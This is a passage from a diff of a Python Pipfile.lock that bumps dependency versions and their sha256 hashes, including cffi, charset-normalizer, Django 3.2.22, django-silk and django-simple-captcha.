"sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497", - "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3", - "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35", - "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c", - "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83", - "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21", - "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca", - "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984", - "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac", - "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd", - "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee", - "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a", - "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2", - "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192", - "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7", - "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585", - "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f", - "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e", - "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27", - "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b", - "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e", - "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e", - "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d", - "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c", - "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415", - "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82", - "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02", - "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314", - "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325", - "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c", - "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3", - "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914", - "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045", - "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d", - "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9", - "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5", - "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2", - "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c", - "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3", - "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2", - "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8", - "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d", - "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d", - "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9", - "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162", - "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76", - "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4", - "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e", - "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9", - "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6", - "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b", - "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01", - "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0" - ], - "index": "pypi", - "version": "==1.15.1" + "sha256:0c9ef6ff37e974b73c25eecc13952c55bceed9112be2d9d938ded8e856138bcc", + "sha256:131fd094d1065b19540c3d72594260f118b231090295d8c34e19a7bbcf2e860a", + "sha256:1b8ebc27c014c59692bb2664c7d13ce7a6e9a629be20e54e7271fa696ff2b417", + "sha256:2c56b361916f390cd758a57f2e16233eb4f64bcbeee88a4881ea90fca14dc6ab", + "sha256:2d92b25dbf6cae33f65005baf472d2c245c050b1ce709cc4588cdcdd5495b520", + "sha256:31d13b0f99e0836b7ff893d37af07366ebc90b678b6664c955b54561fc36ef36", + "sha256:32c68ef735dbe5857c810328cb2481e24722a59a2003018885514d4c09af9743", + "sha256:3686dffb02459559c74dd3d81748269ffb0eb027c39a6fc99502de37d501faa8", + "sha256:582215a0e9adbe0e379761260553ba11c58943e4bbe9c36430c4ca6ac74b15ed", + "sha256:5b50bf3f55561dac5438f8e70bfcdfd74543fd60df5fa5f62d94e5867deca684", + "sha256:5bf44d66cdf9e893637896c7faa22298baebcd18d1ddb6d2626a6e39793a1d56", + "sha256:6602bc8dc6f3a9e02b6c22c4fc1e47aa50f8f8e6d3f78a5e16ac33ef5fefa324", + "sha256:673739cb539f8cdaa07d92d02efa93c9ccf87e345b9a0b556e3ecc666718468d", + "sha256:68678abf380b42ce21a5f2abde8efee05c114c2fdb2e9eef2efdb0257fba1235", + "sha256:68e7c44931cc171c54ccb702482e9fc723192e88d25a0e133edd7aff8fcd1f6e", + "sha256:6b3d6606d369fc1da4fd8c357d026317fbb9c9b75d36dc16e90e84c26854b088", + "sha256:748dcd1e3d3d7cd5443ef03ce8685043294ad6bd7c02a38d1bd367cfd968e000", + "sha256:7651c50c8c5ef7bdb41108b7b8c5a83013bfaa8a935590c5d74627c047a583c7", + "sha256:7b78010e7b97fef4bee1e896df8a4bbb6712b7f05b7ef630f9d1da00f6444d2e", + "sha256:7e61e3e4fa664a8588aa25c883eab612a188c725755afff6289454d6362b9673", + "sha256:80876338e19c951fdfed6198e70bc88f1c9758b94578d5a7c4c91a87af3cf31c", + "sha256:8895613bcc094d4a1b2dbe179d88d7fb4a15cee43c052e8885783fac397d91fe", + "sha256:88e2b3c14bdb32e440be531ade29d3c50a1a59cd4e51b1dd8b0865c54ea5d2e2", + "sha256:8f8e709127c6c77446a8c0a8c8bf3c8ee706a06cd44b1e827c3e6a2ee6b8c098", + "sha256:9cb4a35b3642fc5c005a6755a5d17c6c8b6bcb6981baf81cea8bfbc8903e8ba8", + "sha256:9f90389693731ff1f659e55c7d1640e2ec43ff725cc61b04b2f9c6d8d017df6a", + "sha256:a09582f178759ee8128d9270cd1344154fd473bb77d94ce0aeb2a93ebf0feaf0", + "sha256:a6a14b17d7e17fa0d207ac08642c8820f84f25ce17a442fd15e27ea18d67c59b", + "sha256:a72e8961a86d19bdb45851d8f1f08b041ea37d2bd8d4fd19903bc3083d80c896", + "sha256:abd808f9c129ba2beda4cfc53bde801e5bcf9d6e0f22f095e45327c038bfe68e", + "sha256:ac0f5edd2360eea2f1daa9e26a41db02dd4b0451b48f7c318e217ee092a213e9", + "sha256:b29ebffcf550f9da55bec9e02ad430c992a87e5f512cd63388abb76f1036d8d2", + "sha256:b2ca4e77f9f47c55c194982e10f058db063937845bb2b7a86c84a6cfe0aefa8b", + "sha256:b7be2d771cdba2942e13215c4e340bfd76398e9227ad10402a8767ab1865d2e6", + "sha256:b84834d0cf97e7d27dd5b7f3aca7b6e9263c56308ab9dc8aae9784abb774d404", + "sha256:b86851a328eedc692acf81fb05444bdf1891747c25af7529e39ddafaf68a4f3f", + "sha256:bcb3ef43e58665bbda2fb198698fcae6776483e0c4a631aa5647806c25e02cc0", + "sha256:c0f31130ebc2d37cdd8e44605fb5fa7ad59049298b3f745c74fa74c62fbfcfc4", + "sha256:c6a164aa47843fb1b01e941d385aab7215563bb8816d80ff3a363a9f8448a8dc", + "sha256:d8a9d3ebe49f084ad71f9269834ceccbf398253c9fac910c4fd7053ff1386936", + "sha256:db8e577c19c0fda0beb7e0d4e09e0ba74b1e4c092e0e40bfa12fe05b6f6d75ba", + "sha256:dc9b18bf40cc75f66f40a7379f6a9513244fe33c0e8aa72e2d56b0196a7ef872", + "sha256:e09f3ff613345df5e8c3667da1d918f9149bd623cd9070c983c013792a9a62eb", + "sha256:e4108df7fe9b707191e55f33efbcb2d81928e10cea45527879a4749cbe472614", + "sha256:e6024675e67af929088fda399b2094574609396b1decb609c55fa58b028a32a1", + "sha256:e70f54f1796669ef691ca07d046cd81a29cb4deb1e5f942003f401c0c4a2695d", + "sha256:e715596e683d2ce000574bae5d07bd522c781a822866c20495e52520564f0969", + "sha256:e760191dd42581e023a68b758769e2da259b5d52e3103c6060ddc02c9edb8d7b", + "sha256:ed86a35631f7bfbb28e108dd96773b9d5a6ce4811cf6ea468bb6a359b256b1e4", + "sha256:ee07e47c12890ef248766a6e55bd38ebfb2bb8edd4142d56db91b21ea68b7627", + "sha256:fa3a0128b152627161ce47201262d3140edb5a5c3da88d73a1b790a959126956", + "sha256:fcc8eb6d5902bb1cf6dc4f187ee3ea80a1eba0a89aba40a5cb20a5087d961357" + ], + "index": "pypi", + "markers": "python_version >= '3.8'", + "version": "==1.16.0" }, "chardet": { "hashes": [ @@ -228,84 +217,99 @@ }, "charset-normalizer": { "hashes": [ - "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96", - "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c", - "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710", - "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706", - "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020", - "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252", - "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad", - "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329", - "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a", - "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f", - "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6", - "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4", - "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a", - "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46", - "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2", - "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23", - "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace", - "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd", - "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982", - "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10", - "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2", - "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea", - "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09", - "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5", - "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149", - "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489", - "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9", - "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80", - "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592", - "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3", - "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6", - "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed", - "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c", - "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200", - "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a", - "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e", - "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d", - "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6", - "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623", - "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669", - "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3", - "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa", - "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9", - "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2", - "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f", - "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1", - "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4", - "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a", - "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8", - "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3", - "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029", - "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f", - "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959", - "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22", - "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7", - "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952", - "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346", - "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e", - "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d", - "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299", - "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd", - "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a", - "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3", - "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037", - "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94", - "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c", - "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858", - "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a", - "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449", - "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c", - "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918", - "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1", - "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c", - "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac", - "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa" + "sha256:02673e456dc5ab13659f85196c534dc596d4ef260e4d86e856c3b2773ce09843", + "sha256:02af06682e3590ab952599fbadac535ede5d60d78848e555aa58d0c0abbde786", + "sha256:03680bb39035fbcffe828eae9c3f8afc0428c91d38e7d61aa992ef7a59fb120e", + "sha256:0570d21da019941634a531444364f2482e8db0b3425fcd5ac0c36565a64142c8", + "sha256:09c77f964f351a7369cc343911e0df63e762e42bac24cd7d18525961c81754f4", + "sha256:0d3d5b7db9ed8a2b11a774db2bbea7ba1884430a205dbd54a32d61d7c2a190fa", + "sha256:1063da2c85b95f2d1a430f1c33b55c9c17ffaf5e612e10aeaad641c55a9e2b9d", + "sha256:12ebea541c44fdc88ccb794a13fe861cc5e35d64ed689513a5c03d05b53b7c82", + "sha256:153e7b6e724761741e0974fc4dcd406d35ba70b92bfe3fedcb497226c93b9da7", + "sha256:15b26ddf78d57f1d143bdf32e820fd8935d36abe8a25eb9ec0b5a71c82eb3895", + "sha256:1872d01ac8c618a8da634e232f24793883d6e456a66593135aeafe3784b0848d", + "sha256:187d18082694a29005ba2944c882344b6748d5be69e3a89bf3cc9d878e548d5a", + "sha256:1b2919306936ac6efb3aed1fbf81039f7087ddadb3160882a57ee2ff74fd2382", + "sha256:232ac332403e37e4a03d209a3f92ed9071f7d3dbda70e2a5e9cff1c4ba9f0678", + "sha256:23e8565ab7ff33218530bc817922fae827420f143479b753104ab801145b1d5b", + "sha256:24817cb02cbef7cd499f7c9a2735286b4782bd47a5b3516a0e84c50eab44b98e", + "sha256:249c6470a2b60935bafd1d1d13cd613f8cd8388d53461c67397ee6a0f5dce741", + "sha256:24a91a981f185721542a0b7c92e9054b7ab4fea0508a795846bc5b0abf8118d4", + "sha256:2502dd2a736c879c0f0d3e2161e74d9907231e25d35794584b1ca5284e43f596", + "sha256:250c9eb0f4600361dd80d46112213dff2286231d92d3e52af1e5a6083d10cad9", + "sha256:278c296c6f96fa686d74eb449ea1697f3c03dc28b75f873b65b5201806346a69", + "sha256:2935ffc78db9645cb2086c2f8f4cfd23d9b73cc0dc80334bc30aac6f03f68f8c", + "sha256:2f4a0033ce9a76e391542c182f0d48d084855b5fcba5010f707c8e8c34663d77", + "sha256:30a85aed0b864ac88309b7d94be09f6046c834ef60762a8833b660139cfbad13", + "sha256:380c4bde80bce25c6e4f77b19386f5ec9db230df9f2f2ac1e5ad7af2caa70459", + "sha256:3ae38d325b512f63f8da31f826e6cb6c367336f95e418137286ba362925c877e", + "sha256:3b447982ad46348c02cb90d230b75ac34e9886273df3a93eec0539308a6296d7", + "sha256:3debd1150027933210c2fc321527c2299118aa929c2f5a0a80ab6953e3bd1908", + "sha256:4162918ef3098851fcd8a628bf9b6a98d10c380725df9e04caf5ca6dd48c847a", + "sha256:468d2a840567b13a590e67dd276c570f8de00ed767ecc611994c301d0f8c014f", + "sha256:4cc152c5dd831641e995764f9f0b6589519f6f5123258ccaca8c6d34572fefa8", + "sha256:542da1178c1c6af8873e143910e2269add130a299c9106eef2594e15dae5e482", + "sha256:557b21a44ceac6c6b9773bc65aa1b4cc3e248a5ad2f5b914b91579a32e22204d", + "sha256:5707a746c6083a3a74b46b3a631d78d129edab06195a92a8ece755aac25a3f3d", + "sha256:588245972aca710b5b68802c8cad9edaa98589b1b42ad2b53accd6910dad3545", + "sha256:5adf257bd58c1b8632046bbe43ee38c04e1038e9d37de9c57a94d6bd6ce5da34", + "sha256:619d1c96099be5823db34fe89e2582b336b5b074a7f47f819d6b3a57ff7bdb86", + "sha256:63563193aec44bce707e0c5ca64ff69fa72ed7cf34ce6e11d5127555756fd2f6", + "sha256:67b8cc9574bb518ec76dc8e705d4c39ae78bb96237cb533edac149352c1f39fe", + "sha256:6a685067d05e46641d5d1623d7c7fdf15a357546cbb2f71b0ebde91b175ffc3e", + "sha256:70f1d09c0d7748b73290b29219e854b3207aea922f839437870d8cc2168e31cc", + "sha256:750b446b2ffce1739e8578576092179160f6d26bd5e23eb1789c4d64d5af7dc7", + "sha256:7966951325782121e67c81299a031f4c115615e68046f79b85856b86ebffc4cd", + "sha256:7b8b8bf1189b3ba9b8de5c8db4d541b406611a71a955bbbd7385bbc45fcb786c", + "sha256:7f5d10bae5d78e4551b7be7a9b29643a95aded9d0f602aa2ba584f0388e7a557", + "sha256:805dfea4ca10411a5296bcc75638017215a93ffb584c9e344731eef0dcfb026a", + "sha256:81bf654678e575403736b85ba3a7867e31c2c30a69bc57fe88e3ace52fb17b89", + "sha256:82eb849f085624f6a607538ee7b83a6d8126df6d2f7d3b319cb837b289123078", + "sha256:85a32721ddde63c9df9ebb0d2045b9691d9750cb139c161c80e500d210f5e26e", + "sha256:86d1f65ac145e2c9ed71d8ffb1905e9bba3a91ae29ba55b4c46ae6fc31d7c0d4", + "sha256:86f63face3a527284f7bb8a9d4f78988e3c06823f7bea2bd6f0e0e9298ca0403", + "sha256:8eaf82f0eccd1505cf39a45a6bd0a8cf1c70dcfc30dba338207a969d91b965c0", + "sha256:93aa7eef6ee71c629b51ef873991d6911b906d7312c6e8e99790c0f33c576f89", + "sha256:96c2b49eb6a72c0e4991d62406e365d87067ca14c1a729a870d22354e6f68115", + "sha256:9cf3126b85822c4e53aa28c7ec9869b924d6fcfb76e77a45c44b83d91afd74f9", + "sha256:9fe359b2e3a7729010060fbca442ca225280c16e923b37db0e955ac2a2b72a05", + "sha256:a0ac5e7015a5920cfce654c06618ec40c33e12801711da6b4258af59a8eff00a", + "sha256:a3f93dab657839dfa61025056606600a11d0b696d79386f974e459a3fbc568ec", + "sha256:a4b71f4d1765639372a3b32d2638197f5cd5221b19531f9245fcc9ee62d38f56", + "sha256:aae32c93e0f64469f74ccc730a7cb21c7610af3a775157e50bbd38f816536b38", + "sha256:aaf7b34c5bc56b38c931a54f7952f1ff0ae77a2e82496583b247f7c969eb1479", + "sha256:abecce40dfebbfa6abf8e324e1860092eeca6f7375c8c4e655a8afb61af58f2c", + "sha256:abf0d9f45ea5fb95051c8bfe43cb40cda383772f7e5023a83cc481ca2604d74e", + "sha256:ac71b2977fb90c35d41c9453116e283fac47bb9096ad917b8819ca8b943abecd", + "sha256:ada214c6fa40f8d800e575de6b91a40d0548139e5dc457d2ebb61470abf50186", + "sha256:b09719a17a2301178fac4470d54b1680b18a5048b481cb8890e1ef820cb80455", + "sha256:b1121de0e9d6e6ca08289583d7491e7fcb18a439305b34a30b20d8215922d43c", + "sha256:b3b2316b25644b23b54a6f6401074cebcecd1244c0b8e80111c9a3f1c8e83d65", + "sha256:b3d9b48ee6e3967b7901c052b670c7dda6deb812c309439adaffdec55c6d7b78", + "sha256:b5bcf60a228acae568e9911f410f9d9e0d43197d030ae5799e20dca8df588287", + "sha256:b8f3307af845803fb0b060ab76cf6dd3a13adc15b6b451f54281d25911eb92df", + "sha256:c2af80fb58f0f24b3f3adcb9148e6203fa67dd3f61c4af146ecad033024dde43", + "sha256:c350354efb159b8767a6244c166f66e67506e06c8924ed74669b2c70bc8735b1", + "sha256:c5a74c359b2d47d26cdbbc7845e9662d6b08a1e915eb015d044729e92e7050b7", + "sha256:c71f16da1ed8949774ef79f4a0260d28b83b3a50c6576f8f4f0288d109777989", + "sha256:d47ecf253780c90ee181d4d871cd655a789da937454045b17b5798da9393901a", + "sha256:d7eff0f27edc5afa9e405f7165f85a6d782d308f3b6b9d96016c010597958e63", + "sha256:d97d85fa63f315a8bdaba2af9a6a686e0eceab77b3089af45133252618e70884", + "sha256:db756e48f9c5c607b5e33dd36b1d5872d0422e960145b08ab0ec7fd420e9d649", + "sha256:dc45229747b67ffc441b3de2f3ae5e62877a282ea828a5bdb67883c4ee4a8810", + "sha256:e0fc42822278451bc13a2e8626cf2218ba570f27856b536e00cfa53099724828", + "sha256:e39c7eb31e3f5b1f88caff88bcff1b7f8334975b46f6ac6e9fc725d829bc35d4", + "sha256:e46cd37076971c1040fc8c41273a8b3e2c624ce4f2be3f5dfcb7a430c1d3acc2", + "sha256:e5c1502d4ace69a179305abb3f0bb6141cbe4714bc9b31d427329a95acfc8bdd", + "sha256:edfe077ab09442d4ef3c52cb1f9dab89bff02f4524afc0acf2d46be17dc479f5", + "sha256:effe5406c9bd748a871dbcaf3ac69167c38d72db8c9baf3ff954c344f31c4cbe", + "sha256:f0d1e3732768fecb052d90d62b220af62ead5748ac51ef61e7b32c266cac9293", + "sha256:f5969baeaea61c97efa706b9b107dcba02784b1601c74ac84f2a532ea079403e", + "sha256:f8888e31e3a85943743f8fc15e71536bda1c81d5aa36d014a3c0c44481d7db6e", + "sha256:fc52b79d83a3fe3a360902d3f5d79073a993597d48114c29485e9431092905d8" ], "markers": "python_full_version >= '3.7.0'", - "version": "==3.2.0" + "version": "==3.3.0" }, "click": { "hashes": [ @@ -378,12 +382,12 @@ }, "dataclasses-json": { "hashes": [ - "sha256:5bcd5c1d946a69ef94d8cbb726d87af1256f7ba0898809c7695d299ab9b45122", - "sha256:77cbc80041007c27db90abad79eeed9ea00d4627324b1208266379a6ebdc81e4" + "sha256:1bd8418a61fe3d588bb0079214d7fb71d44937da40742b787256fd53b26b6c80", + "sha256:a53c220c35134ce08211a1057fd0e5bf76dc5331627c6b241cacbc570a89faae" ], "index": "pypi", "markers": "python_version >= '3.7' and python_version < '4.0'", - "version": "==0.6.0" + "version": "==0.6.1" }, "ddt": { "hashes": [ @@ -411,12 +415,12 @@ }, "django": { "hashes": [ - "sha256:a5de4c484e7b7418e6d3e52a5b8794f0e6b9f9e4ce3c037018cf1c489fa87f3c", - "sha256:d31b06c58aa2cd73998ca5966bc3001243d3c4e77ee2d0c479bced124765fd99" + "sha256:83b6d66b06e484807d778263fdc7f9186d4dc1862fcfa6507830446ac6b060ba", + "sha256:c5e7b668025a6e06cad9ba6d4de1fd1a21212acebb51ea34abb400c6e4d33430" ], "index": "pypi", "markers": "python_version >= '3.6'", - "version": "==3.2.21" + "version": "==3.2.22" }, "django-add-default-value": { "hashes": [ @@ -541,20 +545,20 @@ }, "django-silk": { "hashes": [ - "sha256:2f1fcaaf21192011147537fe1ca72dc9f552f32d7043ebd82aeeda370f194469", - "sha256:50552f06d9306d06517fbeab9a2c74856355e06304f03ed16b6dd353f7c77e7a" + "sha256:8cbfbc647d182527726d8d52d3fcfa193f4d250f21406c3fb1062efa6fb95c63", + "sha256:b345d3973d1d382e09735eb525eaf3eebd3edee9a69d1003eb9b01badb2438db" ], "index": "pypi", - "markers": "python_version >= '3.7'", - "version": "==5.0.3" + "markers": "python_version >= '3.8'", + "version": "==5.0.4" }, "django-simple-captcha": { "hashes": [ - "sha256:567ad84fa64c86508c679b8425cc1410c44b3cd6467e54f8d31cf077d9366407", - "sha256:6e1fcc4f4005f7d69ee7a2e59a7e863b5d3918f36a85a4d811498984aecc48ce" + "sha256:20273009a7beb44297e9f6c7a6bd21ada3d2fa93c314d2f6bf5e394ceeb6a297", + "sha256:3359cb033c489eae6544a80ad92517db3d35b3b328b3b427393399c3d7f55275" ], "index": "pypi", - "version": "==0.5.18" + "version": "==0.5.20" }, "django-stubs": { "extras": [ @@ -764,73 +768,71 @@ }, "greenlet": { "hashes": [ - "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a", - "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a", - "sha256:1087300cf9700bbf455b1b97e24db18f2f77b55302a68272c56209d5587c12d1", - "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43", - "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33", - "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8", - 